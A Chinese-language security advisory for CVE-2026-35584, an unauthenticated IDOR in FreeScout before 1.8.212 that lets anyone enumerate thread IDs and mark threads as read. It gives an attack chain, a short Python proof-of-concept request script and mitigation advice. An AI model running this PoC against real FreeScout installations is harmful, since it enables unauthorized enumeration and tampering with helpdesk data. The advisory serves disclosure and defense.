IPBUF安全漏洞报告
English
CVE-2026-35584 CVSS 6.5 中危

CVE-2026-35584 FreeScout IDOR漏洞导致信息泄露

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35584
漏洞类型
IDOR (不安全的直接对象引用)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FreeScout

相关标签

IDORFreeScout信息泄露访问控制失效无需认证

漏洞概述

FreeScout是一款基于Laravel框架构建的开源免费帮助台及共享收件箱系统。在其1.8.212之前的版本中存在一个严重的安全设计缺陷。系统特定端点未实施身份认证机制,且未能严格验证线程ID与对话ID的对应关系。这使得未经身份验证的攻击者能够利用该漏洞,强制将任意线程标记为已读,通过响应差异枚举有效ID,并篡改跨对话的时间戳数据。

技术细节

该漏洞源于FreeScout在处理线程读取请求时的逻辑缺陷。受影响的核心端点为`GET /thread/read/{conversation_id}/{thread_id}`。首先,该路由未配置必要的身份验证中间件,导致匿名用户可直接访问。其次,后端控制器在处理请求时,仅提取了URL中的ID参数,但缺失了关键的业务逻辑校验,即未验证传入的`thread_id`是否确实隶属于指定的`conversation_id`。这构成了典型的不安全的直接对象引用(IDOR)及访问控制失效漏洞。攻击者可以通过构造恶意请求,遍历`thread_id`并发送请求,通过分析HTTP响应状态码(如200 OK与404 Not Found的区别)来推断系统中存在的有效线程ID,从而实现数据枚举。此外,利用该接口还可以直接操纵数据库中的`opened_at`时间戳,破坏数据的完整性及审计日志的准确性。由于无需用户交互且网络攻击复杂度低,该漏洞极易被自动化脚本大规模利用。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统使用的是FreeScout帮助台软件,并确认其版本低于1.8.212。
STEP 2
2. 发起未认证请求
攻击者无需登录,直接构造针对`/thread/read/{conversation_id}/{thread_id}`端点的GET请求。
STEP 3
3. 枚举与利用
通过遍历`thread_id`并监听HTTP响应状态码,区分存在的线程(200)和不存在的线程(404),实现ID枚举。
STEP 4
4. 数据篡改
攻击者成功将任意对话中的线程标记为已读,并修改其`opened_at`时间戳,破坏数据完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL template # The endpoint does not require authentication and fails to validate ownership target_url = "http://example.com/thread/read/{conversation_id}/{thread_id}" # Arbitrary IDs for testing IDOR conv_id = 1 # Attacker controlled conversation ID thread_id = 1 # Enumerated thread ID # Construct the full URL exploit_url = target_url.format(conversation_id=conv_id, thread_id=thread_id) try: # Send GET request without authentication headers response = requests.get(exploit_url, timeout=10) # Analyze response to determine validity of the thread ID if response.status_code == 200: print(f"[+] Success: Thread ID {thread_id} exists and marked as read.") print(f"[+] Response: {response.text}") elif response.status_code == 404: print(f"[-] Not Found: Thread ID {thread_id} does not exist.") else: print(f"[?] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

FreeScout < 1.8.212

防御指南

临时缓解措施
如果无法立即升级,建议通过Web应用防火墙(WAF)添加规则,拦截对`/thread/read/*`路径的未授权外部访问请求,或在应用服务器层面通过反向代理限制该接口仅允许内网管理IP访问,以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表